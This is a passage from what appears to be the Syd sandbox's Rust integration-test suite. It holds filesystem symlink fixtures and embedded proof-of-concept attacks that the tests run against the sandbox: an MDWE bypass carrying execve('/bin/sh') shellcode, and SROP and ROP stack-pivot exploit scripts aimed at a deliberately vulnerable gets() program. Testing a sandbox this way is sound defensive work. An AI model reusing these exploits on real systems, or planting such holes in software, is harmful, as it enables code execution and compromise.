                outside_gid: gid,
                count: 1,
            }, // Map the current group.
        ];
        let mut buf = Vec::new();
        for map in gid_maps {
            writeln!(
                &mut buf,
                "{} {} {}",
                map.inside_gid, map.outside_gid, map.count
            )?;
        }
        buf
    };

    // Write uid/gid map for user namespace.
    // Write "deny" to /proc/self/setgroups before writing to gid_map.
    File::create("/proc/self/setgroups").and_then(|mut f| f.write_all(b"deny"))?;
    File::create("/proc/self/gid_map").and_then(|mut f| f.write_all(&gid_buf[..]))?;
    File::create("/proc/self/uid_map").and_then(|mut f| f.write_all(&uid_buf[..]))?;

    // Make /tmp a private tmpfs.
    // Do not use sticky, group/world writable bits to avoid triggering restrict_symlinks.
    mount(
        Some("tmpfs"),
        "/tmp",
        Some("tmpfs"),
        MsFlags::MS_NODEV | MsFlags::MS_NOEXEC | MsFlags::MS_NOSUID,
        Some("mode=0700"),
    )?;

    // Create a temporary directory.
    let tmpdir = "/tmp/openat2";
    mkdir(tmpdir, Mode::S_IRWXU)?;

    // Open the top-level directory.
    let dfd = open(tmpdir, OFlag::O_PATH | OFlag::O_DIRECTORY, Mode::empty())?;

    // Create the 'root' sub-directory.
    mkdirat(&dfd, "root", Mode::S_IRWXU)?;
    let tmpfd = openat(
        dfd,
        "root",
        OFlag::O_PATH | OFlag::O_DIRECTORY,
        Mode::empty(),
    )?;
    let dfd = tmpfd;

    // Create symbolic links and directories as per the structure.
    symlinkat("/proc/self/exe", &dfd, "procexe")?;
    symlinkat("/proc/self/root", &dfd, "procroot")?;
    mkdirat(&dfd, "root", Mode::S_IRWXU)?;

    // Create 'mnt' directory and mount tmpfs.
    // Do not use sticky, group/world writable bits to avoid triggering restrict_symlinks.
    mkdirat(&dfd, "mnt", Mode::S_IRWXU)?;
    fchdir(&dfd)?;
    mount(
        Some("tmpfs"),
        "./mnt",
        Some("tmpfs"),
        MsFlags::MS_NODEV | MsFlags::MS_NOEXEC | MsFlags::MS_NOSUID,
        Some("mode=0700"),
    )?;
    symlinkat("../mnt/", &dfd, "mnt/self")?;
    symlinkat("/mnt/", &dfd, "mnt/absself")?;

    mkdirat(&dfd, "etc", Mode::S_IRWXU)?;
    let _ = close(openat(
        &dfd,
        "etc/passwd",
        OFlag::O_CREAT | OFlag::O_EXCL,
        Mode::from_bits_truncate(0o600),
    )?);

    symlinkat("/newfile3", &dfd, "creatlink")?;
    symlinkat("etc/", &dfd, "reletc")?;
    symlinkat("etc/passwd", &dfd, "relsym")?;
    symlinkat("/etc/", &dfd, "absetc")?;
    symlinkat("/etc/passwd", &dfd, "abssym")?;
    symlinkat("/cheeky", &dfd, "abscheeky")?;

    mkdirat(&dfd, "cheeky", Mode::S_IRWXU)?;

    symlinkat("/", &dfd, "cheeky/absself")?;
    symlinkat("../../root/", &dfd, "cheeky/self")?;
    symlinkat("/../../root/", &dfd, "cheeky/garbageself")?;

    symlinkat(
        "../cheeky/../cheeky/../etc/../etc/passwd",
        &dfd,
        "cheeky/passwd",
    )?;
    symlinkat(
        "/../cheeky/../cheeky/../etc/../etc/passwd",
        &dfd,
        "cheeky/abspasswd",
    )?;

    symlinkat(
        "../../../../../../../../../../../../../../etc/passwd",
        &dfd,
        "cheeky/dotdotlink",
    )?;
    symlinkat(
        "/../../../../../../../../../../../../../../etc/passwd",
        &dfd,
        "cheeky/garbagelink",
    )?;

    // Unset close-on-exec, we'll pass this fd to syd-test-do.
    set_cloexec(&dfd, false)?;

    Ok(dfd)
}

// See dev/mdwe_bypass_poc.c.
const MDWE_BYPASS_CODE: &str = r##"
// poc_mdwe_bypass_x86_64.c
//
// Proof-of-Concept: MDWE bypass via file-backed RX mapping on Linux x86_64
// Author: Ali Polatel <alip@chesswob.org>

#define _GNU_SOURCE
#include <sys/prctl.h>
#include <linux/prctl.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>

#ifdef __x86_64__
static unsigned char shellcode[] = {
	/* xor rax, rax */
	0x48, 0x31, 0xc0,
	/* movabs rbx, 0x0068732f6e69622f ; "/bin/sh\0" */
	0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00,
	/* push rbx */
	0x53,
	/* mov rdi, rsp */
	0x48, 0x89, 0xe7,
	/* xor rsi, rsi */
	0x48, 0x31, 0xf6,
	/* push rsi           ; argv[1] = NULL */
	0x56,
	/* push rdi           ; argv[0] = "/bin/sh" */
	0x57,
	/* mov rsi, rsp       ; rsi = &argv */
	0x48, 0x89, 0xe6,
	/* lea rdx, [rsi+8]   ; rdx = &envp (NULL) */
	0x48, 0x8d, 0x56, 0x08,
	/* mov al, 0x3b       ; syscall execve */
	0xb0, 0x3b,
	/* syscall */
	0x0f, 0x05
};
#else
#error "Unsupported architecture: only x86-64 is supported!"
#endif

int main(void)
{
	const char *path = "./mmap";

	/* Enable MDWE (unless Syd did it already). */
	if (!getenv("SYD_TEST_SKIP_MDWE")
	    && prctl(PR_SET_MDWE, PR_MDWE_REFUSE_EXEC_GAIN, 0, 0, 0) == -1) {
		int save_errno = errno;
		perror("prctl");
		exit(save_errno);
	}

	int fd = open(path, O_RDWR);
	if (fd < 0) {
		int save_errno = errno;
		perror("open");
		exit(save_errno);
	}

	/* Map RX. */
	size_t len = sizeof(shellcode);
	void *addr = mmap(NULL, len, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);
	if (addr == MAP_FAILED) {
		int save_errno = errno;
		perror("mmap");
		close(fd);
		unlink(path);
		exit(save_errno);
	}

	/* Overwrite backing file. */
	if (lseek(fd, 0, SEEK_SET) < 0 ||
	    write(fd, shellcode, len) != (ssize_t)len) {
		int save_errno = errno;
		perror("write");
		munmap(addr, len);
		close(fd);
		unlink(path);
		exit(save_errno);
	}

	/* Close file:
	 * This will sync the contents to the RO-memory area,
	 * which breaks MDWE! */
	close(fd);

	/* Jump into RX mapping! */
	((void (*)(void))addr)();

	/* Cleanup (not reached if shell succeeds). */
	munmap(addr, len);
	unlink(path);
	return EXIT_SUCCESS;
}
"##;

fn build_mprotect_exe() -> bool {
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > mprotect.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

int main() {
    size_t ps = getpagesize();
    void *mem = mmap(NULL, ps, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        return EXIT_FAILURE;
    }

    // Set a simple return instruction depending on architecture.
#if defined(__x86_64__)
    *(unsigned char *)mem = 0xC3;  // ret
#elif defined(__i386__)
    *(unsigned char *)mem = 0xC3;  // ret
#elif defined(__aarch64__)
    *(unsigned int *)mem = 0xD65F03C0;  // ret
#elif defined(__arm__)
    *(unsigned int *)mem = 0xE12FFF1E;  // bx lr
#elif defined(__riscv) && __riscv_xlen == 64
    *(unsigned int *)mem = 0x00008067;  // ret (jr ra in riscv64)
#elif defined(__powerpc__) || defined(__ppc__) || defined(__PPC__)
    *(unsigned int *)mem = 0x4e800020; // "blr" instruction for "branch to link register" (return)
#elif defined(__s390x__) || defined(__s390__)
    *(unsigned short *)mem = 0x07FE;  // "br %r15"
#elif defined(__loongarch64)
    *(unsigned int *)mem = 0x4C000020; // jirl zero, ra, 0
#elif defined(__m68k__)
    *(unsigned short *)mem = 0x4E75; // rts
#elif defined(__mips__)
    ((unsigned int *)mem)[0] = 0x03E00008; // jr ra
    ((unsigned int *)mem)[1] = 0x00000000; // nop
#elif defined(__sh__)
    ((unsigned short *)mem)[0] = 0x000B; // rts
    ((unsigned short *)mem)[1] = 0x0009; // nop
#else
#error "Unsupported architecture"
#endif

    // Attempt to set the memory executable.
    if (mprotect(mem, ps, PROT_READ | PROT_EXEC) != 0) {
        perror("mprotect");
        return EXIT_FAILURE;
    }

#if defined(__GNUC__)
    // Ensure I-cache sees the new instruction(s).
    __builtin___clear_cache((char*)mem, (char*)mem + 32);
#endif

    // Try executing the code in the memory.
    //
    // On ppc64 BE (ELFv1), function pointers are descriptors.
    // Detect ELFv1 vs ELFv2 via _CALL_ELF (1 = ELFv1, 2 = ELFv2).
#if defined(__powerpc64__) && defined(_CALL_ELF) && (_CALL_ELF == 1)
    struct func_desc { void *entry; void *toc; void *env; };
    struct func_desc fd;
    fd.entry = mem;   // code address
    fd.toc = NULL;  // no TOC needed for this tiny stub
    fd.env = NULL;
    void (*func)(void) = (void (*)(void))&fd;
#else
    void (*func)(void) = (void (*)(void))mem;
#endif
    func();

    return EXIT_SUCCESS;
}
EOF

cc -Wall -Wextra mprotect.c -o mprotect
    "##,
        )
        .status()
        .expect("execute sh");

    if !status.success() {
        eprintln!("Compilation of mprotect failed with status: {status}");
        false
    } else {
        true
    }
}

fn build_mdwe_bypass() -> bool {
    // Write the C code to a temporary file.
    match File::create("mdwe.c") {
        Ok(mut file) => {
            if let Err(e) = file.write_all(MDWE_BYPASS_CODE.as_bytes()) {
                eprintln!("Failed to write to file mdwe.c: {e}");
                return false;
            }
        }
        Err(e) => {
            eprintln!("Failed to create file mdwe.c: {e}");
            return false;
        }
    }

    // Compile the C code into a binary.
    let status = Command::new("cc")
        .args(["mdwe.c", "-o", "mdwe", "-Wall", "-Wextra"])
        .stdin(Stdio::null())
        .status();

    match status {
        Ok(status) => {
            if !status.success() {
                eprintln!("Compilation of mdwe failed with status: {status}");
                false
            } else {
                true
            }
        }
        Err(e) => {
            eprintln!("Failed to execute mdwe compile command: {e}");
            false
        }
    }
}

const SROP_CODE: &str = r##"
#!/usr/bin/env python
# coding: utf-8
#
# stack-pivot: Perform a simple SROP with a stack pivot.
# Copyright (c) 2024 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0

import os, sys, subprocess, shutil, time

try:
    from pwn import (
        context,
        ELF,
        process,
        log,
        cyclic,
        cyclic_find,
        ROP,
        SigreturnFrame,
        p64,
        constants,
    )
except ImportError as e:
    sys.stderr.write("[!] Pwntools is not installed. Exiting: %r\n" % e)
    sys.exit(127)
else:
    context.terminal = ["echo", "ENOTTY"]

TEMP_FILES = ["vuln_srop.c", "vuln_srop", "srop.bin", "srop.txt", "pwned_srop"]


def compile_vuln():
    vuln_c_code = r"""
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

/*
 * Symbol to /bin/sh for convenience.
 */
char *sh = "/bin/sh";

/*
 * 1. We use argv so tests work under busybox.
 * 2. We use a one-shot command to avoid stdin races.
 */
char *sh_argv[] = {
    "/bin/sh",
    "-cex",
    "echo 'SROP: Change return success. "
          "Going and coming without error. "
          "Action brings good fortune.'; "
    "sleep 1; "
    "touch pwned; "
    "exit 42",
    NULL,
};

int overflow(void) {{
    char buf[8];
    gets(buf); /* Vulnerable to buffer overflow */
    return 0;
}}

int main(void) {{
    overflow();
    if (getuid() + getpid() == 0) {{
#ifdef __x86_64__
        __asm__ __volatile__ (
            "pop %rdi; ret;"
            "pop %rsi; ret;"
            "pop %rdx; ret;"
            "pop %rax; ret;"
        );
#elif __i386__
        __asm__ __volatile__ (
            "pop %eax; ret;"
            "int 0x80; ret;"
        );
#else
#error unsupported architecture
#endif
        execve("/bin/sh", 0, 0);
    }}
    return 0;
}}
    """
    with open("vuln_srop.c", "w") as f:
        f.write(vuln_c_code)
    cc_cmd = "cc -ansi -pedantic -Wall -Wextra -g -O0 -fno-stack-protector -no-pie -static vuln_srop.c -o vuln_srop"
    try:
        subprocess.run(
            cc_cmd,
            shell=True,
            check=True,
            stderr=subprocess.PIPE,
            stdout=subprocess.PIPE,
        )
    except subprocess.CalledProcessError as e:
        sys.stderr.write(f"[!] Compilation failed: {e.stderr.decode()}\n")
        sys.exit(127)


def generate_srop():
    context.binary = "./vuln_srop"
    elf = ELF("./vuln_srop")
    if context.arch not in ("amd64", "i386"):
        log.warn("This script only works on x86 or x86_64. Exiting.")
        sys.exit(127)

    # Ensure core dumps are unlimited.
    log.info("Setting core dump size to unlimited.")
    try:
        subprocess.run(
            ["prlimit", "--pid", str(os.getpid()), "--core=unlimited"], check=True
        )
    except subprocess.CalledProcessError:
        log.warn("Failed to set core dump size to unlimited.")
        log.warn("The next step may fail.")

    # Generate a cyclic pattern and send it to the vulnerable program.
    log.info("Generating cyclic pattern to find offset.")
    pattern = cyclic(128)
    p = process("./vuln_srop")
    p.sendline(pattern)
    p.wait()

    # Extract the core dump.
    core = p.corefile
    arch = context.arch

    if arch == "amd64" or arch == "i386":
        stack_pointer = "rsp"
    elif arch == "arm" or arch == "aarch64":
        stack_pointer = "sp"
    else:
        log.warn(f"Unsupported architecture: {arch}")
        sys.exit(127)

    offset = cyclic_find(core.read(getattr(core, stack_pointer), 4))
    log.info(f"Offset is {offset}.")

    log.info(f"Removing coredump file '{core.path}'")
    try:
        os.remove(core.path)
    except:
        log.warn(f"Failed to remove coredump file '{core.path}'")

    # Clear ROP cache.
    try:
        ROP.clear_cache()
    except:
        pass

    # Find SROP gadgets
    log.info("Finding SROP gadgets and locating '/bin/sh'")
    rop = ROP(elf)

    # Find /bin/sh string
    bin_sh = next(elf.search(b"/bin/sh"))
    log.info("Located '/bin/sh' at %#x." % bin_sh)

    # Find arguments array
    sh_argv = elf.symbols.get("sh_argv")
    log.info("Located 'sh_argv' at %#x." % sh_argv)

    if context.arch == "amd64":
        # Find gadgets needed to trigger a sigreturn
        pop_rax = rop.find_gadget(["pop rax", "ret"])[0]
        syscall_ret = rop.find_gadget(["syscall", "ret"])[0]

        # Prepare a SigreturnFrame.
        frame = SigreturnFrame(kernel=context.arch)
        frame.rax = constants.SYS_execve
        frame.rdi = bin_sh
        frame.rsi = sh_argv
        frame.rdx = 0
        frame.rip = syscall_ret

        payload = b"A" * offset
        payload += p64(pop_rax)
        payload += p64(15)  # rt_sigreturn for x86_64.
        payload += p64(syscall_ret)  # trigger sigreturn.
        payload += bytes(frame)
    #
    #    elif context.arch == "i386":
    #        # i386
    #        int80_ret = rop.find_gadget(["int 0x80", "ret"])[0]
    #        pop_eax = rop.find_gadget(["pop eax", "ret"])[0]
    #        bin_sh = (
    #            next(elf.search(b"/bin/sh\x00")) if b"/bin/sh\x00" in elf.read() else None
    #        )
    #        if not bin_sh:
    #            bin_sh = next(elf.search(b"/"))
    #        frame = SigreturnFrame(kernel="i386")
    #        frame.eax = constants.SYS_execve
    #        frame.ebx = bin_sh
    #        frame.ecx = sh_argv
    #        frame.edx = 0
    #        frame.eip = int80_ret
    #        payload = b"A" * offset
    #        payload += p32(pop_eax)
    #        payload += p32(0x77)  # sigreturn on i386
    #        payload += p32(int80_ret)  # trigger sigreturn
    #        payload += bytes(frame)

    log.info("SROP payload is %d bytes." % len(payload))
    print(rop.dump(), file=sys.stderr)
    with open("srop.txt", "w") as f:
        print(rop.dump(), file=f)
    log.info("ROP textual dump saved to 'srop.txt' for inspection.")

    # Save the ROP details to a file.
    with open("srop.bin", "wb") as f:
        f.write(payload)

    log.info("ROP payload saved to file 'srop.bin'")
    log.info('Do "stack-pivot run" in the same directory to perform exploitation.')


def run_exploit(timeout="10"):
    timeout=int(timeout)

    with open("srop.bin", "rb") as f:
        payload = f.read()

    # Function to attempt exploit without using pwntools.
    def attempt_exploit(timeout=10):
        try:
            p = subprocess.Popen(["./vuln_srop"], stdin=subprocess.PIPE)

            log.info("Writing the SROP payload to vulnerable program's standard input.")
            p.stdin.write(payload + b"\n")

            log.info("Flushing vulnerable program's standard input.")
            p.stdin.flush()

            log.info("Closing vulnerable program's standard input.")
            p.stdin.close()

            log.info(f"Waiting for {timeout} seconds...")
            p.wait(timeout=timeout)
        except subprocess.TimeoutExpired:
            log.warn("Timeout expired!")
            return False
        except Exception:
            try: p.kill()
            except: pass
            return False
        return p.returncode == 42 and os.path.exists("pwned")

    # Attempt the exploit up to 10 times.
    max_attempts = 10
    for attempt in range(max_attempts):
        log.info("Running the vulnerable program.")
        log.info(f"Attempt {attempt + 1} of {max_attempts} with {timeout} seconds timeout.")
        if attempt_exploit(timeout):
            log.warn("Successfully smashed the stack using a SROP chain!")
            sys.exit(42)
        else:
            log.info(f"Attempt {attempt + 1} failed.")
            attempt += 1

    log.info("All attempts failed.")
    sys.exit(0)


def clean():
    for temp_file in TEMP_FILES:
        if os.path.exists(temp_file):
            shutil.rmtree(temp_file)


def print_help():
    print("Usage:")
    print("srop init  - prepare the binary and payload")
    print("srop run   - run the exploitation")
    print("srop clean - clean up generated files")
    print("srop help  - this help")


def main():
    if len(sys.argv) < 2:
        print_help()
        sys.exit(0)
    elif sys.argv[1] == "init":
        compile_vuln()
        generate_srop()
    elif sys.argv[1] == "run":
        run_exploit(sys.argv[2] if len(sys.argv) > 2 else "10")
    elif sys.argv[1] == "clean":
        clean()
    else:
        print_help()
        sys.exit(0)


if __name__ == "__main__":
    main()
"##;

fn init_srop() -> bool {
    // Write the python3 code to a temporary file.
    match File::create("srop") {
        Ok(mut file) => {
            if let Err(e) = file.write_all(SROP_CODE.as_bytes()) {
                eprintln!("Failed to write to file srop: {e}");
                return false;
            }
        }
        Err(e) => {
            eprintln!("Failed to create file srop: {e}");
            return false;
        }
    }

    if let Err(e) = syd::fs::chmod_x("./srop") {
        eprintln!("Failed to set srop executable: {e}");
        return false;
    }

    // Prepare attack unsandboxed.
    let status = Command::new("python3")
        .arg("./srop")
        .arg("init")
        .stdin(Stdio::null())
        .status();

    match status {
        Ok(status) => {
            if !status.success() {
                eprintln!("Preparation of SROP attack failed with status: {status}");
                false
            } else {
                true
            }
        }
        Err(e) => {
            eprintln!("Failed to execute SROP command: {e}");
            false
        }
    }
}

const STACK_PIVOT_CODE: &str = r##"
#!/usr/bin/env python
# coding: utf-8
#
# stack-pivot: Perform a simple ROP with a stack pivot.
# Copyright (c) 2024 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0

import os, sys, subprocess, shutil, time

# Check if pwntools is installed.
try:
    from pwn import context, ELF, process, log, cyclic, cyclic_find, ROP
except ImportError as e:
    sys.stderr.write("[!] Pwntools is not installed. Exiting: %r\n" % e)
    sys.exit(127)
else:
    context.terminal = ["echo", "ENOTTY"]

if context.arch not in ("amd64", "i386"):
    log.warn("This script only works on X86 ATM. Exiting.")
    sys.exit(127)

# Constants
BUF_SIZE = 8
TEMP_FILES = ["vuln.c", "vuln", "rop.bin", "rop.txt", "pwned"]


def compile_vuln():
    # C code for the vulnerable program.
    vuln_c_code = """
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

/*
 * Symbol to /bin/sh for convenience.
 */
char *sh = "/bin/sh";

/*
 * 1. We use argv so tests work under busybox.
 * 2. We use a one-shot command to avoid stdin races.
 */
char *sh_argv[] = {
    "/bin/sh",
    "-cex",
    "echo 'ROP: Change return success. "
          "Going and coming without error. "
          "Action brings good fortune.'; "
    "sleep 1; "
    "touch pwned; "
    "exit 42",
    NULL,
};

int overflow(void) {{
    char buf[8];
    gets(buf); /* Vulnerable to buffer overflow */
    return 0;
}}

int main(void) {{
    overflow();
    if (getuid() + getpid() == 0) {{
#ifdef __x86_64__
        __asm__ __volatile__ (
            "pop %rdi; ret;"
            "pop %rsi; ret;"
            "pop %rdx; ret;"
            "pop %rax; ret;"
        );
#endif
        execve("/bin/sh", 0, 0);
    }}
    return 0;
}}
    """

    # Write the C code to a file.
    log.info("Writing C code to vuln.c")
    with open("vuln.c", "w") as f:
        f.write(vuln_c_code)

    # Compile the vulnerable program.
    cc_cmd = ("cc -ansi -pedantic "
        "-g -O0 -Wall "
        "-fno-stack-protector -no-pie "
        "-static vuln.c -o vuln "
        "-Wl,-no-pie",
        "-Wl,-z,now -Wl,-z,relro "
        "-Wl,--whole-archive "
        "-lc -lpthread -lrt -ldl -lm "
        "-Wl,--no-whole-archive")
    log.info("Compiling the vulnerable program.")
    log.info(f"{cc_cmd}")
    try:
        result = subprocess.run(
            cc_cmd,
            shell=True,
            check=True,
            stderr=subprocess.PIPE,
            stdout=subprocess.PIPE,
        )
        log.info(result.stderr.decode())
        log.info(result.stdout.decode())
    except subprocess.CalledProcessError as e:
        log.warn(
            f"Compilation of vulnerable program failed. Exiting.\n{e.stderr.decode()}"
        )
        sys.exit(127)


def generate_rop():
    # Set context for pwntools.
    context.binary = "./vuln"
    elf = ELF("./vuln")

    # Ensure core dumps are unlimited.
    log.info("Setting core dump size to unlimited.")
    try:
        subprocess.run(
            ["prlimit", "--pid", str(os.getpid()), "--core=unlimited"], check=True
        )
    except subprocess.CalledProcessError:
        log.warn("Failed to set core dump size to unlimited.")
        log.warn("The next step may fail.")

    # Generate a cyclic pattern and send it to the vulnerable program.
    log.info("Generating cyclic pattern to find offset.")
    pattern = cyclic(128)
    p = process("./vuln")
    p.sendline(pattern)
    p.wait()

    # Extract the core dump.
    core = p.corefile
    arch = context.arch

    if arch == "amd64" or arch == "i386":
        stack_pointer = "rsp"
    elif arch == "arm" or arch == "aarch64":
        stack_pointer = "sp"
    else:
        log.warn(f"Unsupported architecture: {arch}")
        sys.exit(127)

    offset = cyclic_find(core.read(getattr(core, stack_pointer), 4))
    log.info(f"Offset is {offset}.")

    log.info(f"Removing coredump file '{core.path}'")
    try:
        os.remove(core.path)
    except:
        log.warn(f"Failed to remove coredump file '{core.path}'")

    # Clear ROP cache.
    try:
        ROP.clear_cache()
    except:
        pass

    # Find ROP gadgets.
    log.info("Finding ROP gadgets and locating '/bin/sh'")
    rop = ROP(elf)

    # Find /bin/sh string.
    bin_sh = next(elf.search(b"/bin/sh"))
    log.info("Located '/bin/sh' at %#x." % bin_sh)

    # Find argument array.
    sh_argv = elf.symbols.get("sh_argv")
    log.info("Located 'sh_argv' at %#x." % sh_argv)

    # Construct the payload.
    log.info("Constructing the ROP chain.")
    payload = b"A" * offset  # Overflow buffer.

    # Add ROP chain to the payload.
    rop.call("execve", [bin_sh, sh_argv, 0])
    payload += rop.chain()

    # Print payload for debugging
    log.info("ROP payload is %d bytes." % len(payload))
    print(rop.dump(), file=sys.stderr)
    with open("rop.txt", "w") as f:
        print(rop.dump(), file=f)
    log.info("ROP textual dump saved to 'rop.txt' for inspection.")

    # Save the ROP details to a file.
    with open("rop.bin", "wb") as f:
        f.write(payload)

    log.info("ROP payload saved to file 'rop.bin'")
    log.info('Do "stack-pivot run" in the same directory to perform exploitation.')


def run_exploit(timeout="10"):
    timeout=int(timeout)

    # Load the ROP details from the file.
    with open("rop.bin", "rb") as f:
        payload = f.read()

    # Function to attempt exploit without using pwntools
    def attempt_exploit(timeout=10):
        try:
            p = subprocess.Popen(["./vuln"], stdin=subprocess.PIPE)

            log.info("Writing the ROP payload to vulnerable program's standard input.")
            p.stdin.write(payload + b"\n")

            log.info("Flushing vulnerable program's standard input.")
            p.stdin.flush()

            log.info("Closing vulnerable program's standard input.")
            p.stdin.close()

            log.info(f"Waiting for {timeout} seconds...")
            p.wait(timeout=timeout)
        except subprocess.TimeoutExpired:
            log.warn("Timeout expired!")
            return False
        except Exception:
            try: p.kill()
            except: pass
            return False
        return p.returncode == 42 and os.path.exists("pwned")

    # Attempt the exploit up to 10 times.
    max_attempts = 10
    for attempt in range(max_attempts):
        log.info("Running the vulnerable program.")
        log.info(f"Attempt {attempt + 1} of {max_attempts} with {timeout} seconds timeout.")
        if attempt_exploit(timeout):
            log.warn("Successfully smashed the stack using a ROP chain!")
            sys.exit(42)
        else:
            log.info(f"Attempt {attempt + 1} failed.")

    log.info("All attempts failed.")
    sys.exit(0)


def clean():
    for temp_file in TEMP_FILES:
        if os.path.exists(temp_file):
            shutil.rmtree(temp_file)


def print_help():
    print("Usage:")
    print("stack-pivot init  - Runs the preparation")
    print("stack-pivot run   - Runs the exploitation")
    print("stack-pivot clean - Runs the cleanup")
    print("stack-pivot help  - Prints this help message")
    print("stack-pivot       - Prints this help message")


def main():
    if len(sys.argv) < 2:
        print_help()
        sys.exit(0)
    elif sys.argv[1] == "init":
        compile_vuln()
        generate_rop()
    elif sys.argv[1] == "run":
        run_exploit(sys.argv[2] if len(sys.argv) > 2 else "10")
    elif sys.argv[1] == "clean":
        clean()
    else:
        print_help()
        sys.exit(0)


if __name__ == "__main__":
    main()
"##;

fn init_stack_pivot() -> bool {
    // Write the python3 code to a temporary file.
    match File::create("stack-pivot") {
        Ok(mut file) => {
            if let Err(e) = file.write_all(STACK_PIVOT_CODE.as_bytes()) {
                eprintln!("Failed to write to file stack-pivot: {e}");
                return false;
            }
        }
        Err(e) => {
            eprintln!("Failed to create file stack-pivot: {e}");
            return false;
        }
    }

    if let Err(e) = syd::fs::chmod_x("./stack-pivot") {
        eprintln!("Failed to set stack-pivot executable: {e}");
        return false;
    }

    // Prepare attack unsandboxed.
    let status = Command::new("python3")
        .arg("./stack-pivot")
        .arg("init")
        .stdin(Stdio::null())
        .status();

    match status {
        Ok(status) => {
            if !status.success() {
                eprintln!("Preparation of stack pivot attack failed with status: {status}");
                false
            } else {
                true
            }
        }
        Err(e) => {
            eprintln!("Failed to execute stack-pivot command: {e}");
            false
        }
    }
}

// Also available at dev/magicsym_test.sh
const MAGIC_SYMLINKS_TEST_SCRIPT: &str = r##"
#!/usr/bin/env bash
# Comprehensive integration tests for Linux proc(5) magic symlinks
#
# Copyright (c) 2025 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0

set -Euo pipefail

# Minimal test harness
PASS=0
FAIL=0
SKIP=0
TOTAL=0

green=$'\e[32m'; red=$'\e[31m'; yellow=$'\e[33m'; reset=$'\e[0m'
ok()    { PASS=$((PASS+1)); TOTAL=$((TOTAL+1)); printf "%b\n"   "${green}[ ok ]${reset} $1"; }
notok() { FAIL=$((FAIL+1)); TOTAL=$((TOTAL+1)); printf "%b\n" "${red}[fail]${reset} $1"; printf "   => %s\n" "$2" >&2; }
skip()  { SKIP=$((SKIP+1)); TOTAL=$((TOTAL+1)); printf "%b\n" "${yellow}[skip]${reset} $1"; }

skip_multi() {
  # $1 label, $2 count
  local _label="$1" _n="$2" i
  for ((i=1;i<=_n;i++)); do
    skip "${_label} (missing ${i}/${_n})"
  done
}

STATUS_FILE=".t_status.$$"
cleanup() { rm -f -- "$STATUS_FILE" a.txt myfifo || true; }
trap cleanup EXIT INT TERM

_run_store() {
  # Print command output to STDOUT; write exit code to $STATUS_FILE.
  { set +e; "$@"; printf "%s" $? >"$STATUS_FILE"; } 2>&1
}

_read_status() {
  cat "$STATUS_FILE" 2>/dev/null || printf "127"
}

expect_success() {
  local name="$1"; shift
  local o s; o="$(_run_store "$@")"; s="$(_read_status)"
  if [ "$s" -ne 0 ]; then notok "$name" "exit $s; out: $o"; else ok "$name"; fi
}

expect_fail() {
  local name="$1"; shift
  local o s; o="$(_run_store "$@")"; s="$(_read_status)"
  if [ "$s" -eq 0 ]; then notok "$name" "expected failure; out: $o"; else ok "$name"; fi
}

expect_match() {
  local name="$1" pat="$2"; shift 2
  local o s; o="$(_run_store "$@")"; s="$(_read_status)"
  if [ "$s" -ne 0 ]; then notok "$name" "exit $s; out: $o"; return; fi
  printf "%s" "$o" | grep -Eq -- "$pat" || { notok "$name" "no match /$pat/ in: $o"; return; }
  ok "$name"
}

expect_readlink_match() {
  local name="$1" p="$2" pat="$3"
  if [[ ! -e "$p" ]]; then skip "$name: missing $p"; return; fi
  local o s; o="$(_run_store readlink "$p")"; s="$(_read_status)"
  if [ "$s" -ne 0 ]; then notok "$name" "exit $s; out: $o"; return; fi
  printf "%s" "$o" | grep -Eq -- "$pat" || { notok "$name" "no match /$pat/ in: $o"; return; }
  ok "$name"
}

expect_is_symlink(){ local name="$1" p="$2"; [[ -e "$p" ]] || { skip "$name: missing $p"; return; }; [[ -L "$p" ]] || { notok "$name" "not symlink: $p"; return; }; ok "$name"; }
expect_is_dir()   { local name="$1" p="$2"; [[ -e "$p" ]] || { skip "$name: missing $p"; return; }; [[ -d "$p" ]] || { notok "$name" "not dir: $p"; return; }; ok "$name"; }
expect_not_dir()  { local name="$1" p="$2"; [[ -e "$p" ]] || { skip "$name: missing $p"; return; }; [[ ! -d "$p" ]] || { notok "$name" "unexpected dir: $p"; return; }; ok "$name"; }
expect_same_str() { local name="$1" a="$2" b="$3"; [[ "$a" == "$b" ]] || { notok "$name" "A='$a' B='$b'"; return; }; ok "$name"; }

# Fixtures
printf "hello" > a.txt
exec {FD_A}< a.txt

printf "bye" > z.tmp && exec {FD_Z}< z.tmp && rm -f z.tmp

rm -f myfifo
mkfifo myfifo
# O_RDWR open of FIFO avoids blocking
exec {FD_F}<> myfifo

PID=$$
THREAD_LINK="$(_run_store readlink /proc/thread-self || true)"; _read_status >/dev/null || true
TID="${THREAD_LINK##*/}"
TGID="$PID"

# Namespace kinds
NS_KINDS=(cgroup ipc mnt net pid pid_for_children time time_for_children user uts)

ns_token_base() {
  case "$1" in
    pid_for_children) echo "pid" ;;
    time_for_children) echo "time" ;;
    *) echo "$1" ;;
  esac
}

ns_token_id() {  # extract numeric id from readlink token, else empty
  local tok="$1" id
  id="${tok##*[}"; id="${id%]*}"
  [[ "$id" =~ ^[0-9]+$ ]] && printf "%s" "$id" || printf ""
}

# Build contexts; include task ctx even if absent so totals remain fixed (missing -> SKIP)
CTX=("/proc/self" "/proc/thread-self" "/proc/$PID" "/proc/$TGID/task/$TID")

# --------------------------- sanity: proc mount & basics ----------------------
expect_is_dir "proc mounted" /proc
expect_readlink_match "/proc/self resolves to PID" /proc/self '^[0-9]+$'
# accept both "self/task/<tid>" and "<pid>/task/<tid>"
expect_readlink_match "/proc/thread-self shape" /proc/thread-self '^([0-9]+|self)/task/[0-9]+$'

# exe/cwd/root robust checks
expect_is_symlink "/proc/self/exe is symlink" /proc/self/exe
